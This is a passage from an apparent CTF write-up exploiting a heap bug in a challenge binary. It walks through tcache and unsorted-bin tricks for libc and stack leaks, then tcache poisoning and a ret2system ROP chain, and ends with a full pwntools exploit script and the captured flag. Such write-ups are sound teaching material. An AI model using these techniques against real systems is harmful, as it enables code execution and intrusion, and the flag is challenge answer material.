Remember, before that, the `Bounties[0]` is still in tcache, when we create out `Bounties[4]`, the metadata of index 0 will be used for creating metadata of index 4. The last chunk, we want to create a more fake chunk, in `0x563f8b450890`. This will split the fake chunk 1 to fake chunk 2. Our fake chunk 1 starts in offset `0x460` to offset `0x880`, so the size will be `0x880 - 0x460 = 0x430`, equals to the `Bounty->amount` (size of unsorted bin's fake chunk).
Now, we delete the `Bounties[2]` to bring the metadata of `Bounty[2]` then `Bounties[1]` to tcache


So now, if we malloc a `0x20` Bounty more, this will take the metadata of `Bounties[1]` for its metadata, then `Bounties[2]'s` for its description. Now we can modify the metadata of `Bounties[1]`:

This will modify the metadata of `Bounties[1]`, change the `Bounty->flag` to 1 so we can double free.

We delete the `Bounties[1]`. Its description, in `0x470`, should be in unsorted bin now.


Nice! So now we just need to create a chunk more to bring it out unsorted bin. First, we create a `0x30` chunk, so now it will take out a `0x30` and a `0x40` in tcache

This is the `Bounties[1]` original

Now, because `Bounties[2]` is still holding the metadata of `Bounties[1]` as its description, we can delete it, then malloc one more to fix the metadata of chunk 1, to points it to our fake chunk in unsorted bin, instead of its original description chunk

it should give us the libc leak now:

Yayy! So now we have libc leak. Easy to recover its base.

Because from 2.34, they removed `__malloc_hook` and `__free_hook` to avoid their vulnerabilities

We now use a technique called [tcache poisoning](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_poisoning.c) to change the return address `create()` to `system()`, so we can use `pop rdi` to pop a shell.
First, we need to leak stack. Because now, `Bounties[2]` still holding the metadata of `Bounties[2]` (metadata) and metadata of `Bounties[1]` (description), we can free it then create another chunk contains stack leak address ( i will choose `libc.sym['environ']`) so when we view, it will print out the address of stack leak


I set a breakpoint in create+515 to find the saved rbp address:

So this will be in `0x00007ffec33491b0`
Next, i freed a chunk into tcache, next, malloc a chunk to fill out the metadata of recently chunk and the description of `Bounties[1]`

So now the description in `Bounties[10]` is freed
Now, i freed `Bounties[6]`, which is in offset `0x500`. Then, i malloc one more to put out the metadata of `Bounties[6]`.

Why it doesn't take out the metadata of `Bounties[6]'s description'`? Because the description of `Bounties[6]` is 0x70, but we only malloc 0x60, then it will take from unsorted bin instead

You can see, unsorted bin lost 0x430 - 0x3f0 = 0x60.

Now the new chunk will have description in the first of unsorted bin

So now we can edit the fd and bk pointer of unsorted bin


Now we modified the chunk in 0x530. For pop a shell, we use ret2system
First, we create one more chunk to overwrite the return address of `create()`, then create a chunk with our ROPchain so it will trigger the `create()` to return a shell

My knowledge about heap is not good after all. So maybe somewhere is misunderstanding, please let me know
Final script:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./dead_or_alive_patched",checksec = False)
libc = ELF("./glibc/libc.so.6", checksec = False)
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
input()
def createBounty(size, description):
r.sendlineafter(b'==> ', b'1')
# Prepare for unsorted bin's fake chunk size
r.sendlineafter(b': ', str(0x431).encode())
r.sendlineafter(b': ',b'y')
r.sendlineafter(b': ', str(size).encode())
r.sendafter(b':\n', description)
def removeBounty(index):
r.sendlineafter(b'==> ', b'2')
r.sendlineafter(b'ID: ', str(index).encode())
def viewBounty(index):
r.sendlineafter(b'==> ', b'3')
r.sendlineafter(b'ID: ', str(index).encode())
def decrypt(cipher):
key = 0
plain = 0
for i in range(6):
bits = 64 - 12*i
if bits < 0:
bits = 0
plain = ((cipher ^ key) >> bits ) << bits
key = plain >> 12
return plain
# Create 3 chunks to modify their metadata
createBounty(0x30, b'A'*8)
createBounty(0x30, b'A'*8)
createBounty(0x30, b'A'*8)
# Put them into tcache
removeBounty(0)
removeBounty(1)
removeBounty(2)
# pause()
# Modify the metadata of Bounties[2] and Bounties[1]
createBounty(0x20, b'\x01')
############
# Leak heap#
############
viewBounty(2)
# pause()
r.recvuntil(b'Description: ')
heap_leak = u64(r.recv(6)+b'\0\0')
info('Heap leak: ' + hex(heap_leak))
heap_base = decrypt(heap_leak) >> 12 << 12
info('Heap base: ' + hex(heap_base))
# pause()
###########
#Leak libc#
###########
# Create some chunks to make a big fake chunks
for i in range(7):
createBounty(0x60, b'\0')
# This will limits the size of fake chunk in 0x430
createBounty(0x60, p64(0)*9 + p64(0x21))
# pause()
# Remove the metadata of index 2 and 1
removeBounty(2)
# pause()
# Modify the metadata of chunk 1, points it to our fake chunk to prepare for free it to unsorted bin later
createBounty(0x20, p64(heap_base + 0x470) + p64(0)*2 + p64(1))
# pause()
# Put our fake chunk into unsorted bin
removeBounty(1)
# pause()
# Create one more to take out Bounties[1] original
createBounty(0x30, b'\0')
# Remove the description of Bounties[2], which is Bounties[1]'s metadata
removeBounty(2)
# Modify the metadata of Bounties[1] through Bounties[2] metadata
createBounty(0x20, p64(heap_base + 0x470) + p64(0)*2 + p64(1))
# Now the metadata of Bounties[1] should point to the fake chunk
# pause()
viewBounty(1)
r.recvuntil(b'Description: ')
libc_leak = u64(r.recv(6) + b'\0\0')
libc.address = libc_leak - 0x219ce0
info('Libc leak: ' + hex(libc_leak))
info('Libc leak: ' + hex(libc.address))
############
#Leak stack#
############
removeBounty(2)
# pause()
createBounty(0x20, p64(libc.sym['environ']) + p64(0)*2 + p64(1))
viewBounty(1)
r.recvuntil(b'Description: ')
stack_leak = u64(r.recv(6) + b'\0\0')
info('Stack leak: ' + hex(stack_leak))
ret_addr = ((heap_base + 0x530) >> 12) ^ (stack_leak - 0x138)
info('Return address leak: ' + hex(ret_addr))
# pause()
removeBounty(10)
# pause()
# Fill up the metadata of Bounties[10] and description of Bounties[1]
createBounty(0x30, b'\0')
# pause()
removeBounty(6)
# pause()
# Put out the metadata of Bounties[6]
createBounty(0x50, b'\0')
# pause()
# Now we can modify the description of Bounties[6], into
createBounty(0x50, p64(0)*5 + p64(0x71) + p64(ret_addr) + p64(libc.sym['system']))
# pause()
pop_rdi = libc.address + 0x2a3e5
binsh = next(libc.search('/bin/sh'))
ret = libc.address + 0x29cd6
# Malloc a chunk to overwrite the return address of create
createBounty(0x60, b'\0')
# pause()
# Trigger create() to pop a shell
createBounty(0x60, p64(0) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(libc.sym.system))
# pause()
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
# HTB{cLu5t3r5_m05t_w4nt3d_h4cK3r_56530f8c0946f4bbf6282b3ec35fb9e7}
```
